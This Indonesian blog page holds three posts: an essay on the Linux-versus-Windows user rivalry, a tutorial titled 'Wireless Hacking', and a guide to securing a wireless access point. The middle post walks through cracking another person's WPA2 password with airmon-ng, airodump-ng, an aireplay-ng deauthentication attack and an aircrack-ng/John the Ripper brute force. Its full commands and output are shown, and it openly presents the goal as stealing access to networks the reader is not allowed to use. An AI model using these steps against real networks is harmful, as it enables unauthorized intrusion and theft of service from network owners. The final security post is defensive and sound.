Selasa, 13 Maret 2012

Perang Dingin User Linux Dan Windows

ke, sebuah posting dengan judul yang rumit dan aneh. Disini, saya akan membahas apa yang menyebabkan konflik antara user windows dan linux beserta pemecahannya. Ada 2 golongan disini. Saya yakin bahwa user A akan berkata, “Ah, orang kurang kerjaan. Cuma bisa mbandingin windows dan linux. LOL!”. Sedangkan para user B akan berkata, “Hmm, apaan nih posting? Kayaknya penting untuk dibaca!”.
Ya, perkataan kedua user itu benar. Hanya saja kurang tepat. Terutama yang dikatakan user A, sangat-sangat kikuk. Tidak bisa membedakan kah anda antara kata “Pemecahan” dengan “Pembandingan”? Kalau saya punya uang, sudah pasti saya kirim lagi ke SD!
Baiklah, yang pertama, saya jelaskan SEKALI LAGI fakta-fakta sebenarnya tentang linux :
Penjelasan.
  1. Linux tidak sepenuhnya aman
    Ya, saya berani 100% berkata seperti ini. Windows sangatlah rawan dengan virus dan desktop-attack lainnya. Tapi lumayan aman dengan web-attack. Di linux, tidak ada yang namanya Virus. Yang ada hanyalah Rootkit. Rootkit hadir di beragam sistem operasi seperti, Linux, Solaris dan Microsoft Windows. Rootkit ini sering mengubah bagian dari sistem operasi dan juga menginstall dirinya sendiri sebagai driver atau modul kernel (dari wikipedia). Kalau linux benar-benar aman, buat apa ada kaspersky versi linux?
  2. Tidak semua distro Linux gratis
    Ya, tidak semua distro linux itu gratis. Misalnya, Red Hat Enterprise Linux (RHEL), dihargai sekitar satu juta sampai sepuluh juta rupiah! Tentu saja distro RHEL ini ditujukan untuk keperluan khusus, misalnya server, dll.
Tanya Jawab.

  1. T: Katanya Linux mahal ya? Harganya bisa sampai ratusan ribu ya?
    J: Iya, jika kamu membeli linux untuk keperluan server seperti RedHat Enterprise Linux. Selain itu, banyak distro linux gratis didownload, dan harga CD Linux pun hanya berkisar sekitar Rp5000-20.000 saja.
  2. T : Beberapa orang mengatakan Linux itu susah dan hanya untuk keperluan bekerja. Benarkah itu?
    J : Iya, jika kamu menggunakan Linux yang Jadul. Sekarang, sudah banyak distro linux yang tampilannya lebih keren dari windows dan juga User-Friendly.
  3. T : Katanya Linux itu bisa membuat kita meng-hack linux itu sendiri karena kita otak-atik?
    J : Tidak. Cobalah definisikan kata “hack”. Memangnya user windows tidak pernah mengutak-atik windows itu sendiri?
  4. T : Kata teman saya, tampilan linux itu jelek dan tidak menarik. Benarkah?
    J : Salah! Coba anda cari screenshot Ubuntu 11.10. Jauh berbeda dengan windows yang cenderung terlihat monoton di semua versinya.
  5. T : Berapa rata-rata harga CD distro linux?
    J : Kalau anda minta CD-nya dikirim (misalnya kita beli di online-shop), tentu saja kita diminta membayar ongkos kirimnya. Tapi, kalau anda mendownload file .iso distro-nya, tinggal sediakan CD Kosong dan burn! Simpel kan?
Kenapa tidak disebutkan “Macintosh/Apple” disini? Kan sama-sama OS yang merajai dunia komputer?
Macintosh tidak diikutkan, karena hubungan Mac dengan Linux dan Windows saat ini relatif stabil.
Sekarang, kita bahas terlebih dahulu apa itu Windows & Linux. Windows, adalah salah satu OS, ya, OS. Sedangkan Linux sebenarnya adalah “kernel”. Kernel ibarat otak. Jadi, kernel adalah pengatur segala sesuatunya di suatu OS. Nah, para pengembang-pengembang Linux memanfaatkan kernel ini dan membuat tampilan GUI, sehingga tidak hanya berupa background hitam dan text putih seperti waktu dulu.
Salah satu yang membedakan Linux dan Windows ini adalah prinsip dan latar belakangnya. Windows memiliki prinsip closed-source dan memiliki latar belakang komersial di bawah naungan Microsoft. Closed-source ini artinya tidak membagikan kode sumber secara bebas. Sehingga orang yang ingin menjadi pengembang Windows harus bekerja untuk microsoft.
Bagaimana dengan linux? Linux memiliki prinsip open-source dan latar belakang non-komersial. Open-source disini adalah kebalikan closed-source, kode sumber boleh dibagikan secara bebas. Latar belakang non-komersial ini juga turut membuat perkembangan Linux menjadi sangat pesat. Ada beberapa hal yang perlu diingat, arti dari opensource adalah sebagai berikut :
  1. Bebas dikembangkan dengan cara apapun.
  2. Bebas digunakan semua orang.
  3. Bebas digunakan untuk kepentingan komersial dan pendidikan.
  4. Bebas didistribusikan dengan cara apapun. Termasuk dengan cara dijual.
Oke, sekarang kita akan menggunakan istilah “proprietary”, (dalam hal ini adalah Microsoft), dan OSS untuk Opensource Software.
Selain masalah salah kaprah tentang OSS yang berbayar dan gratis, ada lagi yang masih terlihat salah terhadap OSS yang lain, yaitu masalah penggunaan Open Source. Pertanyaan yang menimbulkan masalahnya adalah begini: “Kapan Anda menggunakan OSS?”.
Ternyata banyak yang masih bingung jawabnya. Ada yang beralasan gak bisa jawab karena masih menggunakan sistem operasi proprietary terkenal sejagad raya bernama Windows. Saya cuma bisa geleng-geleng kepala dan mengelus dada. Untuk kasus di atas mungkin kernelnya tidak open source. Tapi bisa saja aplikasi yang digunakan sehari2 adalah OSS.
Katakanlah ada Mister X yang merupakan pengguna setia Windows (genuine). Selain memanfaatkan Windows (operating system proprietary), Mister X adalah seorang pengembang aplikasi web. Dia menggunakan IIS (web server proprietary) sebagai toolsnya. Kemudian pada IIS-nya dia menanamkan PHP engine, menginstall dan mengkonfigurasi MySQL server agar bisa berjalan baik di komputernya. Untuk mengecek hasil desain aplikasi web nya, Mister X menggunakan Mozilla Firefox. Untuk contoh ini, maka kernel Windows Mister X emang bukan OSS. Source code kernel Windows tidak disediakan untuk publik secara bebas.
Web Server IIS Mister X juga tidak bisa dimodifikasi seenaknya, karena source codenya hak cipta Microsoft (Proprietary). MySQL Server Mister X adalah salah satu produk OSS. Kalo gak percaya anda bisa download source codenya di situsnya. Siapa tau sampean pengen ngembangin MySQL Server versi sendiri.
Dalam contoh ini, Mister X hanya sekedar memanfaatkan OSS. Tapi kan Firefox yang dipake Mister X juga produk OSS. Free pada OSS adalah free dalam arti “bebas”, bukan “gratis”. Lebih tepatnya bukan “Free” tapi “Freedom”. Karena tidak semua OSS dihargai nol rupiah alias gratis. Lagipula, tidak semua Proprietary Source juga berbayar. Ada juga yang nol rupiah alias freeware.
Alangkah bagusnya jika kita menggunakan OSS secara menyeluruh. Mulai dari pake kernel yang memang kode sumbernya terbuka seperti Linux atau BSD. Sampe aplikasinya juga OSS. Pengguna OSS ada dua jenis menurut saya, yaitu golongan yang memang butuh source code dari program lain untuk pengembangan softwarenya lebih lanjut. Serta golongan simpatisan OSS aja. Karena prinsip berbagi source code seperti berbagi jasa aja. Kalo ada orang lain yang ngasih source code secara cuma-cuma, maka rasanya “nggak enak” gitu kalo kita yang pengembang juga ga ngasih harga cuma-cuma juga.
Oke, back to topic. Intinya, kita tidak bisa menggunakan salah satu saja dari 2 OS ini. Bila anda memakai Windows, web yang anda kunjungi, 99,9% saya yakin serverwebnya adalah Linux. Jarang sekali ada web yang servernya windows, karena manja dan harus direstart ulang setiap harinya. Sedangkan server linux? Serverweb linux bisa berjalan 5 tahun tanpa manja dan tanpa minta direstart ulang.
Oh iya, sampai lupa, Apple juga turut serta dalam pengembangan komputer di jagad raya ini. Bebarapa distro linux, GUI-nya terinspirasi dari tampilan Macintosh. Tapi bukan berarti mencontek dan mengklaim-klaim lho ya… :P
Tidak hanya itu, Apple juga turut berpartisipasi untuk menaikan harga komputer di dunia ini. Hehehe… :)
Lalu, yang membuat Linux kurang populer? Ya, jam terbang alias waktu munculnya sudah dicuri start oleh Microsoft dan Apple. Jadi, ya wajar saja kalau terjadi adu mulut dan kemampuan di antara 2 user OS ini.
Perlu diingat, saya tidak membanding-bandingkan, hanya membahas masalah konflik ini saja.

Sumber Binushacker.net

Wireless Hacking

Pasti Kalian udah tau Apa itu wireless ga usah di jelasin lah,pasti begitu banyak yg dapetin Hotspot Gratis,,tapi bagaimana kalo Hotspot yg ingin kita pakai Di password Oleh admin Nah ada caranya neh untuk Hack WPA/PSK

Oke, yang diperlukan adalah:
1. Anda menggunakan BackTrack 5 Linux sebagai OS Secondary anda, buatlah dual booting di LAPTOP anda :)
2. Anda harus mengumpulkan password worldlist, agar bisa dilihat passwordnya, silakan dicari di google.
3. Koneksi wireless / wireless card
4. WPA yang ada di laptop anda.
5. John the ripper password cracker.
6. Aircrack-ng & airodump-ng (Aircrack package dah)

Download bactrack KLIK DISIN
Download Wordlist Join the ripper KLIK DISINI

Oke mari kita lanjutkan:
1. Kita buka shell prompt di BT dan tampilkan wireless yang sedang ada di sekitar kita, berikut adalah perintahnya:
root@admin:~# airmon-ng start wlan0
Interface Chipset Driver
wlan0 Zydas zd1211 zd1211rw – [phy1]
(monitor mode enabled on mon0)
2. Khekhehehe.. Ternyata ada yang nongol, yuk mari kita jadikan target wireless tersebut:

root@admin:~# airodump-ng mon0

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
38:E7:D8:AD:B2:0E 0 61 0 0 11 54e WPA2 CCMP PSK Wireless
3. Wokeh, sudah tersedia, mari kita mulai mengambil / mencuri akses wireless

root@admin:~# airodump-ng mon0 –channel 11 –bssid 38:E7:D8:AD:B2:0E -w /tmp/wpa2
CH 11 ][ BAT: 3 hours 51 mins ][ Elapsed: 7 mins ][ 2011-09-26 21:24
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
38:E7:D8:AD:B2:0E 0 100 4319 83 0 11 54e WPA2 CCMP PSK Wireless
BSSID STATION PWR Rate Lost Packets Probes
38:E7:D8:AD:B2:0E 00:03:6D:F4:F8:86 0 1 -48 0 81 Wireless

Kita tunggu user untuk melakukan autentikasi dan de-autentikasi selama beberapa waktu.
Sabar saja ketika menunggu ya.. Pasti ada yang login & logout kan? Nah sampai ketemu hal seperti berikut dibawah:
4. Kita mendapatkan user yang sedang logout / deautentikasi / kita buat dia deautentikasi, kita gunakan perintah berikut:

root@admin:~# aireplay-ng -0 1 -a 38:E7:D8:AD:B2:0E -c 00:03:6D:F4:F8:86 mon0
21:25:49 Waiting for beacon frame (BSSID: 38:E7:D8:AD:B2:0E) on channel 11
21:25:50 Sending 64 directed DeAuth. STMAC: [00:03:6D:F4:F8:86] [62|63 ACKs]
root@binushacker:~#


5. Setelah logout & user tesebut login lagi, maka kita akan mendapatkan informasi key loginnya seperti hal berikut:

CH 11 ][ BAT: 3 hours 43 mins ][ Elapsed: 1 min ][ 2011-09-26 21:27 ][ WPA handshake: 38:E7:D8:AD:B2:0E

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
38:E7:D8:AD:B2:0E 0 96 807 28 0 11 54e WPA2 CCMP PSK Wireless
BSSID STATION PWR Rate Lost Packets Probes
38:E7:D8:AD:B2:0E 00:03:6D:F4:F8:86 0 54 - 6 0 161
6. Nah kita dapatkan nih autentikasinya, kita mulai dengan John The Ripper, pastikan bahwa anda memiliki wordlist yang sangat banyak dan kompleks agar bisa ketemu KEY nya:

root@admin:~# aircrack-ng -w /pentest/passwords/john/password.lst -b 38:E7:D8:AD:B2:0E /tmp/wpa*.cap
Opening /tmp/wpa2-01.cap
Opening /tmp/wpa2-02.cap
Reading packets, please wait...

Aircrack-ng 1.1 r1904
[00:00:00] 48 keys tested (489.60 k/s)
KEY FOUND! [ W!R3L3$$PWD ]
Master Key : 02 A7 BC 5F 24 67 CA 2A B5 FC F0 01 1E D5 9B 2C
8B 42 A5 A8 C6 55 6B 33 4A 09 8B 07 84 D3 C0 1D
Transient Key : 3F 56 FD 2B 2F CE FA D9 55 14 84 2F 53 31 42 BF
8C FE 11 78 9F 51 48 33 97 62 E1 C6 D7 B1 9C 6C
6B D7 5A 1C 11 22 3F 0B 7E 1D 42 51 5E 55 F4 28
D2 3A DB 75 81 DD 4E BB 64 51 29 86 AA 55 06 7B
EAPOL HMAC : 17 6E 91 77 A2 A9 F1 C5 6F 33 02 4D 59 64 8A 9B
root@admin:~#
Nah, passwordnya ketemu: W!R3L3$$PWD
7. Klo anda gak mau pake wordlist, ya biasanya menunggu agak lama, apalagi klo komputernya lemot bisa berabe. Berikut adalah cara tanpa menggunakan wordlist dengan John The Ripper:

root@admin:~# /pentest/passwords/john/john --stdout --incremental:all | aircrack-ng -b 38:E7:D8:AD:B2:0E -w - /tmp/wpa2*.cap
Opening /tmp/wpa2-01.cap
Opening /tmp/wpa2-02.cap
Reading packets, please wait...

Aircrack-ng 1.1 r1904
[00:00:22] 11484 keys tested (534.50 k/s)
KEY FOUND! [ W!R3L3$$PWD ]
Master Key : 02 A7 BC 5F 24 67 CA 2A B5 FC F0 01 1E D5 9B 2C
8B 42 A5 A8 C6 55 6B 33 4A 09 8B 07 84 D3 C0 1D
Transient Key : 3F 56 FD 2B 2F CE FA D9 55 14 84 2F 53 31 42 BF
8C FE 11 78 9F 51 48 33 97 62 E1 C6 D7 B1 9C 6C
6B D7 5A 1C 11 22 3F 0B 7E 1D 42 51 5E 55 F4 28
D2 3A DB 75 81 DD 4E BB 64 51 29 86 AA 55 06 7B
EAPOL HMAC : 17 6E 91 77 A2 A9 F1 C5 6F 33 02 4D 59 64 8A 9B
root@admin:~#
Nah, passwordnya ketemu juga, tapi saya harus menunggu 30 JAM: W!R3L3$$PWD

MENGAMANKAN WIRELESS ACCESS POINT

Pengunaan jaringan wireless semakin menjamur. Di mana-mana dapat kita lihat bertebaran tower wireless access point. Tapi penggunaan jaringan wireless memberikan dampak negatif, yakni terbukanya jaringan untuk bisa diakses semua orang yang berada di area cakupan sinyal wireless kita. Bagaimanakah cara mengamankan access point agar bandwidth tidak bocor ketangan orang yang tidak berhak?


Access Point (AP) seumpama hub atau switch pada jaringan kabel LAN. Fungsinya untuk menghubungkan banyak client dengan topologi jaringan tipe star. Artinya kita membantuk jaringa komputer dari banyak client yang menggunakan radio yang dihubungkan dengan satu atau lebih AP.














Pembicaraan kita kali ini dengan asumsi kita akan membagi jaringan internet (misalnya dari Speedy) lewat jaringan wireless hanya untuk client tertentu saja. Jadi kita harus mengusahakan agar client yang tidak berhak tidak dapat mengakses jaringan wireless kita.

Ada dua pendekantan yang bisa digunakan, yakni:
1. menggunakan sistem login ticket.
2. melakukan blocking client wireless.

Pendekatan pertama sering digunakan di area hotpsot berbayar atau sistem tiket. Client yang ingin konek ke internet (misal membawa laptop yang ada wirelessnya) harus membeli semacam tiket yang berisi username dan password. Setelah itu baru bisa konek sesuai waktu yang disediakan. Cara ini mudah dan praktis kalau ingin membuat hotspot yang clientnya tidak tetap atau berubah-ubah sesuai kebutuhan. Kelemahannya sistem ini mudah dihacking dengan wardriving menggunakan berbagai macam tool untuk membuka jaringan wireless.

Pembahasan kita difokuskan pada pendekatan kedua, yakni blocking ditingkat client. Misalnya kita akan membuat ISP kecil-kecilan dengan berlangganan Speedy Unlimited terus disharing lewat jaringan wireless ke client-client yang telah terdaftar. Skema jaringan sebagai berikut:

 




Teknik mengamankan AP agar dapat konek hanya oleh client tertentu saja adalah:
1. Sembunyikan SSID
2. Gunakan nama SSID yang acak dan panjang
3. Gunakan Enkripsi
4. MAC Address Filter
5. ubah Mac Default
6. Gunakan IP Statik dan Range IP  tertentu
7. Isolasikan Client
8. Kunci settingan radio client dengan password

Caranya:
1. Sembunyikan SSID (Hide SSID)
SSID adalah nama jaringa yang di broadcast oleh AP dan client agar dapat saling konek. Artinya hanya client yang mengatahui atau mempunyai SSID yang sama dengan AP saja yang dapat konek ke jaringan. Jadi, agar hanya client yang terdaftar saja bisa konek maka kita harus menghidden SSID dari AP.  Caranya dengan mengubah settingan di AP yang bisa diakses lewat web. Misal untuk AP Linksys WRT54GL yang udah diupgrade firmwarenya pakai DD-WRT maka setingan hide SSID bisa ditemukan di menu "Wireless" => "Basic Setting" trus disable "Wireless SSID Broadcast". Untuk AP merk lainnya lainnya maka cara mengubahnya intinya sama saja. Jika SSID kita hidden maka jaringan kita di tool wireless client tidak akan muncul atau terbaca. Memang ada sih tool untuk memecahkan SSID tapi tool ini jalan di Linux dan harus menggunakan chipset wireless tertentu yang built in di motherboard. Tapi langkah ini merupakan pertahanan pertama yang sangat efektif untuk mencegah kalangan pemula dan menengah agar tidak bisa seenaknya konek ke jaringan kita.









 









2. Gunakan nama SSID yang Acak dan Panjang
SSID atau Service set identifier merupakan nama pengenal network yang panjangnya maksimal 32 karakter yang dapat terdiri dari a-z, A-Z, 0-9, tanda baca dan laiin karakter. Agar sekuriti jaringan kita maksimal - setelah dihidden - selanjutnya buatlah nama SSID sepanjang 32 karakter acak. Untuk mendapatkan karakter acak bisa masuk ke http://www.random.org/strings. misal: SSID kita buat "speednet_8vb01F1UZDbtRglFcDCcvj" . Artinya jaringan ISP kita namakan Speednet (sekedar nama aja) trus kita tambah karakter acak sampai sejumlah 32 buah yang terdiri dari huruf dan angka. Hal ini untuk mencegah hacking jaringan menggunakan tool yang mencoba memecahkan kombinasi SSID kita. Bayangkan 62 pangkat 32 berarti ada 10 pangkat 57 kombinasi.

3. Gunakan Enkripsi
Setiap AP saat ini telah dilengkapi dengan teknik enkripsi (mengacak data) jaringan yang canggih. Mulia dari WEP yang sederhana sampai dengan WPA yang canggih. Untuk lebih aman gunakan WPA dengan key 64 karakter. Memang AP modern saat ini, selain WEP dan WPA masih ada menyediakan jenis enkripsi lain. Tapi harus diingat, tidak semua radio client dapat mendukung teknik enkripsi terbaru. Menurut pengalaman kami, WPA telah tersedia di radio client dari harga 400 ribuan sampai yang mahal-mahal. Kembali diingat, gunakan key yang maksimum (64 karakter) dan harus terdiri dari huruf dan angkan acak. misalnya:
 " Y0SgVsDNwrlDVV5G5JYcan2JaMnEabVKkyHHB6pEk4xCpTBIP3rfHNpHgvOiVaZx ". Tapi ingat kita harus mencatat SSID acak dan key acak ini karena tidak mungkin menghafalnya.

4. Filter Mac Address
Setelah client memakai SSID dan Key enkripsi yang sama dengan AP, maka teknik pertahanan kita selanjutnya menggunakan filter mac address client. Bila fitur ini kita aktifkan di AP maka hanya client yang terdaftar macnya saja yang bisa konek di AP kita. Untuk itu cari AP yang menyediakan tabel filter yang jumlahnya sesuai kebutuhan kita. Misalnya Linksys WRT54Gl dengan DD-WRT firmware, menyediakan tabel filter sejumlah 128 buah. Kalau Senao AP biasanya sekitar 20 buah filter saja.


5. Ubah MAC Address Default
Biasanya Mac Address default bawaan pabrik bisa diubah. MAC memiliki macam-macam awalan tergantung pabrikan yang memproduksi. Misal radio merk Senao menggunakan awalan MAC yakni 00:02:6F:xx:xx:xx dan sebagainya. Karena kunci agar kita membedakan client cuma IP dan MAC maka kita harus mengubah MAC default client dengan mac lain yang jarang digunakan. Misalnya kita ubah menjadi 00:40:01:xx:xx:xx yang berasal dari tipe pabrik Zyxsel yang jarang dipakai di Indonesia. Guna lainnya untuk keseragaman, misal kita site survey ternyata ada mac yang selain kelompok tadi berarti jelas dia radio yang tidak terdaftar mencoba masuk.

6. Gunakan IP Statik dan Range IP  tertentu
Setelah radio client di set SSID dan Key Enkripsi yang sama dengan AP, syarat lain bisa konek adalah menggunakan IP yang valid dan tidak konflik dengan IP yang ada. Memang ada cara praktis dan simpel, yakni menggunakan DHCP Server agar setiap client otomatis mendapatkan IP yang tersedia. Tapi cara ini bermasalah jika masing-masing client mendapatkan jatah kecepatan / bandwith yang berbeda-beda. Kunci pembeda bandwith manager hanya berdasarkan MAC atau IP, jadi sebaiknya gunakan IP statik dengan cara nonaktifkan DHCP server. Selanjutnya gunakan range IP untuk client yang beda dari biasanya. Range IP yang umum (entah kenapa selalu dipakai di buku panduan wireless) adalah 192.168.x.x. Coba kita gunakan range IP 10.20.30.x dengan x sebanyak jumlah client. misal untuk client 32 orang kita gunakan 1 range IP dari 10.20.30.101 - 10.20.30.132. Hindari range dari 10.20.30.1 - 10.20.30.32 karena terlalu umum dan mudah ditebak. atau gunakan ip yang acak jangan dalam range tertentu. Terserah kreasi anda. Tapi ingat, IP yang kita gunakan harus bersifat private artinya hanya berlaku di dalam network kita saja dan harus di "nat" di dalam router.

7. Isolasi Client
Kekacauan jaringan selain dari luar bisa juga disebabkan dari client kita sendiri. Misalnya kita telah membagi bandwidth yang berbeda untuk macam-macam client sesuai IP address mereka. Akibatnya client mencoba mengubah IP mereka sendiri untuk mendapatkan bandwidht yang lebih besar. Bisa dengan coba-coba atau mereka menggunakan tool IP Scanning yang canggih. Tanda terjadinya kekacauan ini adalah timbulnya "IP Address Conflict". Untuk mencegahnya kita harus mengisolasi client, artinya sesama client tidak bisa saling scan IP. Bagi yang menggunakan AP merk Linksys WRT54Gl dengan DD-WRT maka bisa diaktifkan "AP Isolation" di menu: "Wireless" => "Advanced Settings". Untuk AP merk lain coba cari sendiri, kalau belum ada coba upgrade firmware AP tsb. Kalau masih belum ada ya terpaksa mencari AP merk lain yang menyediakan fasilitas ini.

8. Kunci Settingan Radio Client dengan Password
Kami pernah mengalami kebobolan jaringan wireless yang disebabkan adanya kerjasama pembobol dengan orang dalam (client). Modus nya, pembobol mendapatkan SSID dan key serta mac dan IP yang valid dari client. Hal ini terjadi karena settingan radio client tidak dikunci sehingga bisa dlilihat. Untuk mencegahnya maka ubah password radio client dari default ke passwrod yang hanya diketahui oleh teknisi.

TIPS:
1. Jangan lupa membuat catatan yang lengkap tentang data-data radio client. Misalnya nama client, merk radio, password setingan, MAC address, IP Address dan lainnya. Kalau dokumentasi kita jelek, maka akan terjadi masalah, misal lupa password masuk untuk menyeting radio client, kan bisa berabe dan harus di hard reset alias naik ke tiang radio.
2. Sering-sering site survey radio client
3. Sering-sering site survey AP di sekeliling kita.
4. Untuk aman dan mudahnya, masukan file settingan SSID, Key, MAC, IP kedalam file CD Room. Jangan flashdisk karena jika kita colokan di komp client ada kemungkinan terkena virus. Dan tentu saja CD room ini harus kita amankan dan rahasiakan. Karena jika bocor, maka butuh waktu berminggu-minggu untuk mengubah setingan dari AP hingga keliling mengubah setingan radio client (terkadang harus naik tower client karena radionya ngadat menolak di reset). he.he.he....

Itu saja saran dari saya semoga bermanfaat...kalau ada kritik dan saran atau tambahan bisa langsung dikommen aja. Semoga Tetap Aman AP-nya.